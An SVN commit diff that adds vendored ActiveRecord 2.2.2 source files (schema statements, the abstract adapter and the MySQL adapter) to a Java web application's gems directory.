+      # ===== Examples
+      # ====== Add a backend specific option to the generated SQL (MySQL)
+      #  create_table(:suppliers, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
+      # generates:
+      #  CREATE TABLE suppliers (
+      #    id int(11) DEFAULT NULL auto_increment PRIMARY KEY
+      #  ) ENGINE=InnoDB DEFAULT CHARSET=utf8
+      #
+      # ====== Rename the primary key column
+      #  create_table(:objects, :primary_key => 'guid') do |t|
+      #    t.column :name, :string, :limit => 80
+      #  end
+      # generates:
+      #  CREATE TABLE objects (
+      #    guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,
+      #    name varchar(80)
+      #  )
+      #
+      # ====== Do not add a primary key column
+      #  create_table(:categories_suppliers, :id => false) do |t|
+      #    t.column :category_id, :integer
+      #    t.column :supplier_id, :integer
+      #  end
+      # generates:
+      #  CREATE TABLE categories_suppliers (
+      #    category_id int,
+      #    supplier_id int
+      #  )
+      #
+      # See also TableDefinition#column for details on how to create columns.
+      def create_table(table_name, options = {})
+        table_definition = TableDefinition.new(self)
+        table_definition.primary_key(options[:primary_key] || Base.get_primary_key(table_name)) unless options[:id] == false
+
+        yield table_definition
+
+        if options[:force] && table_exists?(table_name)
+          drop_table(table_name, options)
+        end
+
+        create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE "
+        create_sql << "#{quote_table_name(table_name)} ("
+        create_sql << table_definition.to_sql
+        create_sql << ") #{options[:options]}"
+        execute create_sql
+      end
+
+      # A block for changing columns in +table+.
+      #
+      # === Example
+      #  # change_table() yields a Table instance
+      #  change_table(:suppliers) do |t|
+      #    t.column :name, :string, :limit => 60
+      #    # Other column alterations here
+      #  end
+      #
+      # ===== Examples
+      # ====== Add a column
+      #  change_table(:suppliers) do |t|
+      #    t.column :name, :string, :limit => 60
+      #  end
+      #
+      # ====== Add 2 integer columns
+      #  change_table(:suppliers) do |t|
+      #    t.integer :width, :height, :null => false, :default => 0
+      #  end
+      #
+      # ====== Add created_at/updated_at columns
+      #  change_table(:suppliers) do |t|
+      #    t.timestamps
+      #  end
+      #
+      # ====== Add a foreign key column
+      #  change_table(:suppliers) do |t|
+      #    t.references :company
+      #  end
+      #
+      # Creates a <tt>company_id(integer)</tt> column
+      #
+      # ====== Add a polymorphic foreign key column
+      #  change_table(:suppliers) do |t|
+      #    t.belongs_to :company, :polymorphic => true
+      #  end
+      #
+      # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns
+      #
+      # ====== Remove a column
+      #  change_table(:suppliers) do |t|
+      #    t.remove :company
+      #  end
+      #
+      # ====== Remove several columns
+      #  change_table(:suppliers) do |t|
+      #    t.remove :company_id
+      #    t.remove :width, :height
+      #  end
+      #
+      # ====== Remove an index
+      #  change_table(:suppliers) do |t|
+      #    t.remove_index :company_id
+      #  end
+      #
+      # See also Table for details on
+      # all of the various column transformation
+      def change_table(table_name)
+        yield Table.new(table_name, self)
+      end
+
+      # Renames a table.
+      # ===== Example
+      #  rename_table('octopuses', 'octopi')
+      def rename_table(table_name, new_name)
+        raise NotImplementedError, "rename_table is not implemented"
+      end
+
+      # Drops a table from the database.
+      def drop_table(table_name, options = {})
+        execute "DROP TABLE #{quote_table_name(table_name)}"
+      end
+
+      # Adds a new column to the named table.
+      # See TableDefinition#column for details of the options you can use.
+      def add_column(table_name, column_name, type, options = {})
+        add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
+        add_column_options!(add_column_sql, options)
+        execute(add_column_sql)
+      end
+
+      # Removes the column(s) from the table definition.
+      # ===== Examples
+      #  remove_column(:suppliers, :qualification)
+      #  remove_columns(:suppliers, :qualification, :experience)
+      def remove_column(table_name, *column_names)
+        column_names.flatten.each do |column_name|
+          execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
+        end
+      end
+      alias :remove_columns :remove_column
+
+      # Changes the column's definition according to the new options.
+      # See TableDefinition#column for details of the options you can use.
+      # ===== Examples
+      #  change_column(:suppliers, :name, :string, :limit => 80)
+      #  change_column(:accounts, :description, :text)
+      def change_column(table_name, column_name, type, options = {})
+        raise NotImplementedError, "change_column is not implemented"
+      end
+
+      # Sets a new default value for a column.  If you want to set the default
+      # value to +NULL+, you are out of luck.  You need to
+      # DatabaseStatements#execute the appropriate SQL statement yourself.
+      # ===== Examples
+      #  change_column_default(:suppliers, :qualification, 'new')
+      #  change_column_default(:accounts, :authorized, 1)
+      def change_column_default(table_name, column_name, default)
+        raise NotImplementedError, "change_column_default is not implemented"
+      end
+
+      # Renames a column.
+      # ===== Example
+      #  rename_column(:suppliers, :description, :name)
+      def rename_column(table_name, column_name, new_column_name)
+        raise NotImplementedError, "rename_column is not implemented"
+      end
+
+      # Adds a new index to the table.  +column_name+ can be a single Symbol, or
+      # an Array of Symbols.
+      #
+      # The index will be named after the table and the first column name,
+      # unless you pass <tt>:name</tt> as an option.
+      #
+      # When creating an index on multiple columns, the first column is used as a name
+      # for the index. For example, when you specify an index on two columns
+      # [<tt>:first</tt>, <tt>:last</tt>], the DBMS creates an index for both columns as well as an
+      # index for the first column <tt>:first</tt>. Using just the first name for this index
+      # makes sense, because you will never have to create a singular index with this
+      # name.
+      #
+      # ===== Examples
+      # ====== Creating a simple index
+      #  add_index(:suppliers, :name)
+      # generates
+      #  CREATE INDEX suppliers_name_index ON suppliers(name)
+      # ====== Creating a unique index
+      #  add_index(:accounts, [:branch_id, :party_id], :unique => true)
+      # generates
+      #  CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
+      # ====== Creating a named index
+      #  add_index(:accounts, [:branch_id, :party_id], :unique => true, :name => 'by_branch_party')
+      # generates
+      #  CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
+      def add_index(table_name, column_name, options = {})
+        column_names = Array(column_name)
+        index_name   = index_name(table_name, :column => column_names)
+
+        if Hash === options # legacy support, since this param was a string
+          index_type = options[:unique] ? "UNIQUE" : ""
+          index_name = options[:name] || index_name
+        else
+          index_type = options
+        end
+        quoted_column_names = column_names.map { |e| quote_column_name(e) }.join(", ")
+        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{quoted_column_names})"
+      end
+
+      # Remove the given index from the table.
+      #
+      # Remove the suppliers_name_index in the suppliers table.
+      #   remove_index :suppliers, :name
+      # Remove the index named accounts_branch_id_index in the accounts table.
+      #   remove_index :accounts, :column => :branch_id
+      # Remove the index named accounts_branch_id_party_id_index in the accounts table.
+      #   remove_index :accounts, :column => [:branch_id, :party_id]
+      # Remove the index named by_branch_party in the accounts table.
+      #   remove_index :accounts, :name => :by_branch_party
+      def remove_index(table_name, options = {})
+        execute "DROP INDEX #{quote_column_name(index_name(table_name, options))} ON #{table_name}"
+      end
+
+      def index_name(table_name, options) #:nodoc:
+        if Hash === options # legacy support
+          if options[:column]
+            "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
+          elsif options[:name]
+            options[:name]
+          else
+            raise ArgumentError, "You must specify the index name"
+          end
+        else
+          index_name(table_name, :column => options)
+        end
+      end
+
+      # Returns a string of <tt>CREATE TABLE</tt> SQL statement(s) for recreating the
+      # entire structure of the database.
+      def structure_dump
+      end
+
+      def dump_schema_information #:nodoc:
+        sm_table = ActiveRecord::Migrator.schema_migrations_table_name
+        migrated = select_values("SELECT version FROM #{sm_table}")
+        migrated.map { |v| "INSERT INTO #{sm_table} (version) VALUES ('#{v}');" }.join("\n\n")
+      end
+
+      # Should not be called normally, but this operation is non-destructive.
+      # The migrations module handles this automatically.
+      def initialize_schema_migrations_table
+        sm_table = ActiveRecord::Migrator.schema_migrations_table_name
+
+        unless tables.detect { |t| t == sm_table }
+          create_table(sm_table, :id => false) do |schema_migrations_table|
+            schema_migrations_table.column :version, :string, :null => false
+          end
+          add_index sm_table, :version, :unique => true,
+            :name => 'unique_schema_migrations'
+
+          # Backwards-compatibility: if we find schema_info, assume we've
+          # migrated up to that point:
+          si_table = Base.table_name_prefix + 'schema_info' + Base.table_name_suffix
+
+          if tables.detect { |t| t == si_table }
+
+            old_version = select_value("SELECT version FROM #{quote_table_name(si_table)}").to_i
+            assume_migrated_upto_version(old_version)
+            drop_table(si_table)
+          end
+        end
+      end
+
+      def assume_migrated_upto_version(version)
+        version = version.to_i
+        sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
+
+        migrated = select_values("SELECT version FROM #{sm_table}").map(&:to_i)
+        versions = Dir['db/migrate/[0-9]*_*.rb'].map do |filename|
+          filename.split('/').last.split('_').first.to_i
+        end
+
+        unless migrated.include?(version)
+          execute "INSERT INTO #{sm_table} (version) VALUES ('#{version}')"
+        end
+
+        inserted = Set.new
+        (versions - migrated).each do |v|
+          if inserted.include?(v)
+            raise "Duplicate migration #{v}. Please renumber your migrations to resolve the conflict."
+          elsif v < version
+            execute "INSERT INTO #{sm_table} (version) VALUES ('#{v}')"
+            inserted << v
+          end
+        end
+      end
+
+      def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
+        if native = native_database_types[type]
+          column_type_sql = (native.is_a?(Hash) ? native[:name] : native).dup
+
+          if type == :decimal # ignore limit, use precision and scale
+            scale ||= native[:scale]
+
+            if precision ||= native[:precision]
+              if scale
+                column_type_sql << "(#{precision},#{scale})"
+              else
+                column_type_sql << "(#{precision})"
+              end
+            elsif scale
+              raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale if specified"
+            end
+
+          elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
+            column_type_sql << "(#{limit})"
+          end
+
+          column_type_sql
+        else
+          type
+        end
+      end
+
+      def add_column_options!(sql, options) #:nodoc:
+        sql << " DEFAULT #{quote(options[:default], options[:column])}" if options_include_default?(options)
+        # must explicitly check for :null to allow change_column to work on migrations
+        if options[:null] == false
+          sql << " NOT NULL"
+        end
+      end
+
+      # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
+      # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax.
+      #
+      #   distinct("posts.id", "posts.created_at desc")
+      def distinct(columns, order_by)
+        "DISTINCT #{columns}"
+      end
+
+      # ORDER BY clause for the passed order option.
+      # PostgreSQL overrides this due to its stricter standards compliance.
+      def add_order_by_for_association_limiting!(sql, options)
+        sql << " ORDER BY #{options[:order]}"
+      end
+
+      # Adds timestamps (created_at and updated_at) columns to the named table.
+      # ===== Examples
+      #  add_timestamps(:suppliers)
+      def add_timestamps(table_name)
+        add_column table_name, :created_at, :datetime
+        add_column table_name, :updated_at, :datetime
+      end
+
+      # Removes the timestamp columns (created_at and updated_at) from the table definition.
+      # ===== Examples
+      #  remove_timestamps(:suppliers)
+      def remove_timestamps(table_name)
+        remove_column table_name, :updated_at
+        remove_column table_name, :created_at
+      end
+
+      protected
+        def options_include_default?(options)
+          options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,210 @@
+require 'benchmark'
+require 'date'
+require 'bigdecimal'
+require 'bigdecimal/util'
+
+require 'active_record/connection_adapters/abstract/schema_definitions'
+require 'active_record/connection_adapters/abstract/schema_statements'
+require 'active_record/connection_adapters/abstract/database_statements'
+require 'active_record/connection_adapters/abstract/quoting'
+require 'active_record/connection_adapters/abstract/connection_pool'
+require 'active_record/connection_adapters/abstract/connection_specification'
+require 'active_record/connection_adapters/abstract/query_cache'
+
+module ActiveRecord
+  module ConnectionAdapters # :nodoc:
+    # ActiveRecord supports multiple database systems. AbstractAdapter and
+    # related classes form the abstraction layer which makes this possible.
+    # An AbstractAdapter represents a connection to a database, and provides an
+    # abstract interface for database-specific functionality such as establishing
+    # a connection, escaping values, building the right SQL fragments for ':offset'
+    # and ':limit' options, etc.
+    #
+    # All the concrete database adapters follow the interface laid down in this class.
+    # ActiveRecord::Base.connection returns an AbstractAdapter object, which
+    # you can use.
+    #
+    # Most of the methods in the adapter are useful during migrations. Most
+    # notably, the instance methods provided by SchemaStatement are very useful.
+    class AbstractAdapter
+      include Quoting, DatabaseStatements, SchemaStatements
+      include QueryCache
+      include ActiveSupport::Callbacks
+      define_callbacks :checkout, :checkin
+
+      @@row_even = true
+
+      def initialize(connection, logger = nil) #:nodoc:
+        @connection, @logger = connection, logger
+        @runtime = 0
+        @last_verification = 0
+        @query_cache_enabled = false
+      end
+
+      # Returns the human-readable name of the adapter.  Use mixed case - one
+      # can always use downcase if needed.
+      def adapter_name
+        'Abstract'
+      end
+
+      # Does this adapter support migrations?  Backend specific, as the
+      # abstract adapter always returns +false+.
+      def supports_migrations?
+        false
+      end
+
+      # Does this adapter support using DISTINCT within COUNT?  This is +true+
+      # for all adapters except sqlite.
+      def supports_count_distinct?
+        true
+      end
+
+      # Does this adapter support DDL rollbacks in transactions?  That is, would
+      # CREATE TABLE or ALTER TABLE get rolled back by a transaction?  PostgreSQL,
+      # SQL Server, and others support this.  MySQL and others do not.
+      def supports_ddl_transactions?
+        false
+      end
+
+      # Should primary key values be selected from their corresponding
+      # sequence before the insert statement?  If true, next_sequence_value
+      # is called before each insert to set the record's primary key.
+      # This is false for all adapters but Firebird.
+      def prefetch_primary_key?(table_name = nil)
+        false
+      end
+
+      def reset_runtime #:nodoc:
+        rt, @runtime = @runtime, 0
+        rt
+      end
+
+      # QUOTING ==================================================
+
+      # Override to return the quoted table name. Defaults to column quoting.
+      def quote_table_name(name)
+        quote_column_name(name)
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      # Override to turn off referential integrity while executing <tt>&block</tt>.
+      def disable_referential_integrity(&block)
+        yield
+      end
+
+      # CONNECTION MANAGEMENT ====================================
+
+      # Checks whether the connection to the database is still active. This includes
+      # checking whether the database is actually capable of responding, i.e. whether
+      # the connection isn't stale.
+      def active?
+        @active != false
+      end
+
+      # Disconnects from the database if already connected, and establishes a
+      # new connection with the database.
+      def reconnect!
+        @active = true
+      end
+
+      # Disconnects from the database if already connected. Otherwise, this
+      # method does nothing.
+      def disconnect!
+        @active = false
+      end
+
+      # Reset the state of this connection, directing the DBMS to clear
+      # transactions and other connection-related server-side state. Usually a
+      # database-dependent operation.
+      #
+      # The default implementation does nothing; the implementation should be
+      # overridden by concrete adapters.
+      def reset!
+        # this should be overridden by concrete adapters
+      end
+
+      # Returns true if its safe to reload the connection between requests for development mode.
+      def requires_reloading?
+        true
+      end
+
+      # Checks whether the connection to the database is still active (i.e. not stale).
+      # This is done under the hood by calling <tt>active?</tt>. If the connection
+      # is no longer active, then this method will reconnect to the database.
+      def verify!(*ignored)
+        reconnect! unless active?
+      end
+
+      # Provides access to the underlying database driver for this adapter. For
+      # example, this method returns a Mysql object in case of MysqlAdapter,
+      # and a PGconn object in case of PostgreSQLAdapter.
+      #
+      # This is useful for when you need to call a proprietary method such as
+      # PostgreSQL's lo_* methods.
+      def raw_connection
+        @connection
+      end
+
+      def open_transactions
+        @open_transactions ||= 0
+      end
+
+      def increment_open_transactions
+        @open_transactions ||= 0
+        @open_transactions += 1
+      end
+
+      def decrement_open_transactions
+        @open_transactions -= 1
+      end
+
+      def log_info(sql, name, seconds)
+        if @logger && @logger.debug?
+          name = "#{name.nil? ? "SQL" : name} (#{sprintf("%.1f", seconds * 1000)}ms)"
+          @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+        end
+      end
+
+      protected
+        def log(sql, name)
+          if block_given?
+            result = nil
+            seconds = Benchmark.realtime { result = yield }
+            @runtime += seconds
+            log_info(sql, name, seconds)
+            result
+          else
+            log_info(sql, name, 0)
+            nil
+          end
+        rescue Exception => e
+          # Log message and raise exception.
+          # Set last_verification to 0, so that connection gets verified
+          # upon reentering the request loop
+          @last_verification = 0
+          message = "#{e.class.name}: #{e.message}: #{sql}"
+          log_info(message, name, 0)
+          raise ActiveRecord::StatementInvalid, message
+        end
+
+        def format_log_entry(message, dump = nil)
+          if ActiveRecord::Base.colorize_logging
+            if @@row_even
+              @@row_even = false
+              message_color, dump_color = "4;36;1", "0;1"
+            else
+              @@row_even = true
+              message_color, dump_color = "4;35;1", "0"
+            end
+
+            log_entry = "  \e[#{message_color}m#{message}\e[0m   "
+            log_entry << "\e[#{dump_color}m%#{String === dump ? 's' : 'p'}\e[0m" % dump if dump
+            log_entry
+          else
+            "%s  %s" % [message, dump]
+          end
+        end
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/abstract_adapter.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/mysql_adapter.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/mysql_adapter.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/connection_adapters/mysql_adapter.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,585 @@
+require 'active_record/connection_adapters/abstract_adapter'
+require 'set'
+
+module MysqlCompat #:nodoc:
+  # add all_hashes method to standard mysql-c bindings or pure ruby version
+  def self.define_all_hashes_method!
+    raise 'Mysql not loaded' unless defined?(::Mysql)
+
+    target = defined?(Mysql::Result) ? Mysql::Result : MysqlRes
+    return if target.instance_methods.include?('all_hashes')
+
+    # Ruby driver has a version string and returns null values in each_hash
+    # C driver >= 2.7 returns null values in each_hash
+    if Mysql.const_defined?(:VERSION) && (Mysql::VERSION.is_a?(String) || Mysql::VERSION >= 20700)
+      target.class_eval <<-'end_eval'
+      def all_hashes
+        rows = []
+        each_hash { |row| rows << row }
+        rows
+      end
+      end_eval
+
+    # adapters before 2.7 don't have a version constant
+    # and don't return null values in each_hash
+    else
+      target.class_eval <<-'end_eval'
+      def all_hashes
+        rows = []
+        all_fields = fetch_fields.inject({}) { |fields, f| fields[f.name] = nil; fields }
+        each_hash { |row| rows << all_fields.dup.update(row) }
+        rows
+      end
+      end_eval
+    end
+
+    unless target.instance_methods.include?('all_hashes') ||
+           target.instance_methods.include?(:all_hashes)
+      raise "Failed to defined #{target.name}#all_hashes method. Mysql::VERSION = #{Mysql::VERSION.inspect}"
+    end
+  end
+end
+
+module ActiveRecord
+  class Base
+    # Establishes a connection to the database that's used by all Active Record objects.
+    def self.mysql_connection(config) # :nodoc:
+      config = config.symbolize_keys
+      host     = config[:host]
+      port     = config[:port]
+      socket   = config[:socket]
+      username = config[:username] ? config[:username].to_s : 'root'
+      password = config[:password].to_s
+
+      if config.has_key?(:database)
+        database = config[:database]
+      else
+        raise ArgumentError, "No database specified. Missing argument: database."
+      end
+
+      # Require the MySQL driver and define Mysql::Result.all_hashes
+      unless defined? Mysql
+        begin
+          require_library_or_gem('mysql')
+        rescue LoadError
+          $stderr.puts '!!! The bundled mysql.rb driver has been removed from Rails 2.2. Please install the mysql gem and try again: gem install mysql.'
+          raise
+        end
+      end
+      MysqlCompat.define_all_hashes_method!
+
+      mysql = Mysql.init
+      mysql.ssl_set(config[:sslkey], config[:sslcert], config[:sslca], config[:sslcapath], config[:sslcipher]) if config[:sslca] || config[:sslkey]
+
+      ConnectionAdapters::MysqlAdapter.new(mysql, logger, [host, username, password, database, port, socket], config)
+    end
+  end
+
+  module ConnectionAdapters
+    class MysqlColumn < Column #:nodoc:
+      def extract_default(default)
+        if type == :binary || type == :text
+          if default.blank?
+            return null ? nil : ''
+          else
+            raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
+          end
+        elsif missing_default_forged_as_empty_string?(default)
+          nil
+        else
+          super
+        end
+      end
+
+      def has_default?
+        return false if type == :binary || type == :text #mysql forbids defaults on blob and text columns
+        super
+      end
+
+      private
+        def simplified_type(field_type)
+          return :boolean if MysqlAdapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
+          return :string  if field_type =~ /enum/i
+          super
+        end
+
+        def extract_limit(sql_type)
+          case sql_type
+          when /blob|text/i
+            case sql_type
+            when /tiny/i
+              255
+            when /medium/i
+              16777215
+            when /long/i
+              2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
+            else
+              super # we could return 65535 here, but we leave it undecorated by default
+            end
+          when /^bigint/i;    8
+          when /^int/i;       4
+          when /^mediumint/i; 3
+          when /^smallint/i;  2
+          when /^tinyint/i;   1
+          else
+            super
+          end
+        end
+
+        # MySQL misreports NOT NULL column default when none is given.
+        # We can't detect this for columns which may have a legitimate ''
+        # default (string) but we can for others (integer, datetime, boolean,
+        # and the rest).
+        #
+        # Test whether the column has default '', is not null, and is not
+        # a type allowing default ''.
+        def missing_default_forged_as_empty_string?(default)
+          type != :string && !null && default == ''
+        end
+    end
+
+    # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with
+    # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/).
+    #
+    # Options:
+    #
+    # * <tt>:host</tt> - Defaults to "localhost".
+    # * <tt>:port</tt> - Defaults to 3306.
+    # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock".
+    # * <tt>:username</tt> - Defaults to "root"
+    # * <tt>:password</tt> - Defaults to nothing.
+    # * <tt>:database</tt> - The name of the database. No default, must be provided.
+    # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
+    # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
+    # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
+    # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
+    # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
+    # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
+    #
+    # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
+    # as boolean. If you wish to disable this emulation (which was the default
+    # behavior in versions 0.13.1 and earlier) you can add the following line
+    # to your environment.rb file:
+    #
+    #   ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
+    class MysqlAdapter < AbstractAdapter
+      cattr_accessor :emulate_booleans
+      self.emulate_booleans = true
+
+      ADAPTER_NAME = 'MySQL'.freeze
+
+      LOST_CONNECTION_ERROR_MESSAGES = [
+        "Server shutdown in progress",
+        "Broken pipe",
+        "Lost connection to MySQL server during query",
+        "MySQL server has gone away" ]
+
+      QUOTED_TRUE, QUOTED_FALSE = '1'.freeze, '0'.freeze
+
+      NATIVE_DATABASE_TYPES = {
+        :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY".freeze,
+        :string      => { :name => "varchar", :limit => 255 },
+        :text        => { :name => "text" },
+        :integer     => { :name => "int", :limit => 4 },
+        :float       => { :name => "float" },
+        :decimal     => { :name => "decimal" },
+        :datetime    => { :name => "datetime" },
+        :timestamp   => { :name => "datetime" },
+        :time        => { :name => "time" },
+        :date        => { :name => "date" },
+        :binary      => { :name => "blob" },
+        :boolean     => { :name => "tinyint", :limit => 1 }
+      }
+
+      def initialize(connection, logger, connection_options, config)
+        super(connection, logger)
+        @connection_options, @config = connection_options, config
+        @quoted_column_names, @quoted_table_names = {}, {}
+        connect
+      end
+
+      def adapter_name #:nodoc:
+        ADAPTER_NAME
+      end
+
+      def supports_migrations? #:nodoc:
+        true
+      end
+
+      def native_database_types #:nodoc:
+        NATIVE_DATABASE_TYPES
+      end
+
+
+      # QUOTING ==================================================
+
+      def quote(value, column = nil)
+        if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
+          s = column.class.string_to_binary(value).unpack("H*")[0]
+          "x'#{s}'"
+        elsif value.kind_of?(BigDecimal)
+          value.to_s("F")
+        else
+          super
+        end
+      end
+
+      def quote_column_name(name) #:nodoc:
+        @quoted_column_names[name] ||= "`#{name}`"
+      end
+
+      def quote_table_name(name) #:nodoc:
+        @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
+      end
+
+      def quote_string(string) #:nodoc:
+        @connection.quote(string)
+      end
+
+      def quoted_true
+        QUOTED_TRUE
+      end
+
+      def quoted_false
+        QUOTED_FALSE
+      end
+
+      # REFERENTIAL INTEGRITY ====================================
+
+      def disable_referential_integrity(&block) #:nodoc:
+        old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
+
+        begin
+          update("SET FOREIGN_KEY_CHECKS = 0")
+          yield
+        ensure
+          update("SET FOREIGN_KEY_CHECKS = #{old}")
+        end
+      end
+
+      # CONNECTION MANAGEMENT ====================================
+
+      def active?
+        if @connection.respond_to?(:stat)
+          @connection.stat
+        else
+          @connection.query 'select 1'
+        end
+
+        # mysql-ruby doesn't raise an exception when stat fails.
+        if @connection.respond_to?(:errno)
+          @connection.errno.zero?
+        else
+          true
+        end
+      rescue Mysql::Error
+        false
+      end
+
+      def reconnect!
+        disconnect!
+        connect
+      end
+
+      def disconnect!
+        @connection.close rescue nil
+      end
+
+      def reset!
+        if @connection.respond_to?(:change_user)
+          # See http://bugs.mysql.com/bug.php?id=33540 -- the workaround way to
+          # reset the connection is to change the user to the same user.
+          @connection.change_user(@config[:username], @config[:password], @config[:database])
+          configure_connection
+        end
+      end
+
+      # DATABASE STATEMENTS ======================================
+
+      def select_rows(sql, name = nil)
+        @connection.query_with_result = true
+        result = execute(sql, name)
+        rows = []
+        result.each { |row| rows << row }
+        result.free
+        rows
+      end
+
+      def execute(sql, name = nil) #:nodoc:
+        log(sql, name) { @connection.query(sql) }
+      rescue ActiveRecord::StatementInvalid => exception
+        if exception.message.split(":").first =~ /Packets out of order/
+          raise ActiveRecord::StatementInvalid, "'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information.  If you're on Windows, use the Instant Rails installer to get the updated mysql bindings."
+        else
+          raise
+        end
+      end
+
+      def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc:
+        super sql, name
+        id_value || @connection.insert_id
+      end
+
+      def update_sql(sql, name = nil) #:nodoc:
+        super
+        @connection.affected_rows
+      end
+
+      def begin_db_transaction #:nodoc:
+        execute "BEGIN"
+      rescue Exception
+        # Transactions aren't supported
+      end
+
+      def commit_db_transaction #:nodoc:
+        execute "COMMIT"
+      rescue Exception
+        # Transactions aren't supported
+      end
+
+      def rollback_db_transaction #:nodoc:
+        execute "ROLLBACK"
+      rescue Exception
+        # Transactions aren't supported
+      end
+
+
+      def add_limit_offset!(sql, options) #:nodoc:
+        if limit = options[:limit]
+          limit = sanitize_limit(limit)
+          unless offset = options[:offset]
+            sql << " LIMIT #{limit}"
+          else
+            sql << " LIMIT #{offset.to_i}, #{limit}"
+          end
+        end
+      end
+
+
+      # SCHEMA STATEMENTS ========================================
+
+      def structure_dump #:nodoc:
+        if supports_views?
+          sql = "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"
+        else
+          sql = "SHOW TABLES"
+        end
+
+        select_all(sql).inject("") do |structure, table|
+          table.delete('Table_type')
+          structure += select_one("SHOW CREATE TABLE #{quote_table_name(table.to_a.first.last)}")["Create Table"] + ";\n\n"
+        end
+      end
+
+      def recreate_database(name, options = {}) #:nodoc:
+        drop_database(name)
+        create_database(name, options)
+      end
+
+      # Create a new MySQL database with optional <tt>:charset</tt> and <tt>:collation</tt>.
+      # Charset defaults to utf8.
+      #
+      # Example:
+      #   create_database 'charset_test', :charset => 'latin1', :collation => 'latin1_bin'
+      #   create_database 'matt_development'
+      #   create_database 'matt_development', :charset => :big5
+      def create_database(name, options = {})
+        if options[:collation]
+          execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}` COLLATE `#{options[:collation]}`"
+        else
+          execute "CREATE DATABASE `#{name}` DEFAULT CHARACTER SET `#{options[:charset] || 'utf8'}`"
+        end
+      end
+
+      def drop_database(name) #:nodoc:
+        execute "DROP DATABASE IF EXISTS `#{name}`"
+      end
+
+      def current_database
+        select_value 'SELECT DATABASE() as db'
+      end
+
+      # Returns the database character set.
+      def charset
+        show_variable 'character_set_database'
+      end
+
+      # Returns the database collation strategy.
+      def collation
+        show_variable 'collation_database'
+      end
+
+      def tables(name = nil) #:nodoc:
+        tables = []
+        execute("SHOW TABLES", name).each { |field| tables << field[0] }
+        tables
+      end
+
+      def drop_table(table_name, options = {})
+        super(table_name, options)
+      end
+
+      def indexes(table_name, name = nil)#:nodoc:
+        indexes = []
+        current_index = nil
+        execute("SHOW KEYS FROM #{quote_table_name(table_name)}", name).each do |row|
+          if current_index != row[2]
+            next if row[2] == "PRIMARY" # skip the primary key
+            current_index = row[2]
+            indexes << IndexDefinition.new(row[0], row[2], row[1] == "0", [])
+          end
+
+          indexes.last.columns << row[4]
+        end
+        indexes
+      end
+
+      def columns(table_name, name = nil)#:nodoc:
+        sql = "SHOW FIELDS FROM #{quote_table_name(table_name)}"
+        columns = []
+        execute(sql, name).each { |field| columns << MysqlColumn.new(field[0], field[4], field[1], field[2] == "YES") }
+        columns
+      end
+
+      def create_table(table_name, options = {}) #:nodoc:
+        super(table_name, options.reverse_merge(:options => "ENGINE=InnoDB"))
+      end
